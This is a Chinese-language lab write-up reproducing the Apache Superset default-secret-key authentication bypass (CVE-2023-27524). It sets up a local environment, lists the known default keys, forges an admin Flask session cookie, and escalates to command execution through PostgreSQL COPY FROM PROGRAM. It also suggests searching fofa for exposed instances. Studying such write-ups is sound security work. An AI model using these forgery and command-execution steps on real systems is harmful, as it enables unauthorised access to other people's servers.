CVE-2023-27524 Apache Superset 身份認證繞過漏洞

漏洞簡介

Apache Superset是一個開源的數據可視化和數據探測平臺，它基于Python構建，使用了一些類似于Django和Flask的Python web框架。提供了一個用戶友好的界面，可以輕松地創建和共享儀表板、查詢和可視化數據，也可以集成到其他應用程序中。由于用戶在默認安裝過程中，未對SECRET_KEY的默認值進行更改，未經身份驗證的攻擊者通過偽造管理員身份進行訪問后臺，并通過后臺原本數據庫執行功能實現命令執行操作。

環境搭建

可以通過 fofa 來搜索相關網站

"Apache Superset"

這里我們通過 docker 來在本地搭建環境

git clone https://github.com/apache/superset.git
cd superset
git checkout 2.0.0
TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml pull
TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml up

官網提供的方法并沒有搭建成功，還是直接在docker 倉庫中查找

https://hub.docker.com/r/apache/superset/tags?page=1&ordering=last_updated&name=2.0.0

docker pull apache/superset:2.0.0
docker exec -it superset superset fab create-admin --username admin --firstname Superset  --lastname Admin --email admin@superset.com --password admin
docker exec -it superset superset db upgrade
docker exec -it superset superset load_examples
docker exec -it superset superset init

漏洞復現

利用腳本檢測是否存在漏洞并生成相對應的 cookie

訪問主頁抓取數據包

將生成的 session 替換原本的 session

成功登錄

接下來就是想辦法 getshell 網絡上的文章上是通過后臺數據庫執行語句來獲取權限。

經過復現分析，發現存在的問題還比較多，首先是默認情況下執行語句僅僅支持 SELECT ，需要修改數據庫的權限允許其他的一些語句（but 一些版本上是沒有對數據庫的操作權限的），然后就是獲取的權限，本質上也只是獲取了數據庫的執行權限，數據庫有可能并不與 superset 在同一服務器上，再有就是需要數據庫本身也需要存在漏洞才可以，我這里選取了（CVE-2019-9193）PostgreSQL 高權限命令執行漏洞來復現漏洞。

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

漏洞分析

感覺這個漏洞有點像前段時間爆出來的 nacos 身份認證繞過漏洞存在默認的密鑰

SECRET_KEYS = [
    b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1
    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1
    b'thisISaSECRET_1234',                            # deployment template
    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation
    b'TEST_NON_DEV_SECRET'                            # docker compose
]

Superset 是用 Python 編寫的，基于 Flask Web 框架。基于 Flask 的應用程序的常見做法是使用加密簽名的會話 cookie 進行用戶狀態管理。當用戶登錄時，Web 應用程序將包含用戶標識符的會話 cookie 發送回最終用戶的瀏覽器。Web 應用程序使用 SECERT_KEY 對 cookie 進行簽名，該值應該時隨機生成的，通常存儲在本地配置文件中，對于每個 Web 請求，瀏覽器都會將已簽名的會話 cookie 發送回應用程序，然后應用程序驗證 cookie 上的簽名以處理請求之前重新驗證用戶。

整段描述下面我感覺跟 JWT 的相關驗證方式差不太多，我們具體來操作看看。

首先就是請求的時候我們可以看到 cookie 值可以解碼成功，通過爆破（當然我們這里是已經已知這個 key 值），偽造生成用戶的 cookie，替換數據包中的cookie 值，就成功登錄成功，之后再次請求的時候，發現我們添加的字段已經被保存在 session 值中

>>> from flask_unsign import session
>>> session.decode("eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOGUzOTdiZTQ2ZjVlZjJiYTc1NjI4MWQxODE2NTAyMWEzMzcxYjI3OCIsImxvY2FsZSI6ImVuIn0.ZJAEeQ.wVfrGzupbWdw4R1OlzUwUqhGMMY")
{'_fresh': False, 'csrf_token': '8e397be46f5ef2ba756281d18165021a3371b278', 'locale': 'en'}
>>> session.sign({'_user_id': 1, 'user_id': 1},'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET')
'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZJAFNg.oWyP7v-1l0qOHFOMjSd-cFiVQLY'
>>> session.decode(".eJxFzEEOhCAQBMC_9JmDwMZBPkOUaaKRaALuabN_15sPqPohlca-Ipa5dhqkb2dLmyJag9xbSde580CEjoHiQlYOlt4VDVMe3CjTRxYv3i_qGEQsDOqZ58rHPNDgHf83roYh1w.ZJAFVw.IwmWyTU1bvoY2nhlFYdmwXNNtTM")
{'_fresh': False, '_user_id': 1, 'csrf_token': 'd68e728cde01e32fd89c0267947b3733bd2e8771', 'locale': 'en', 'user_id': 1}

漏洞修復

拒絕在非調試環境中使用默認密碼啟動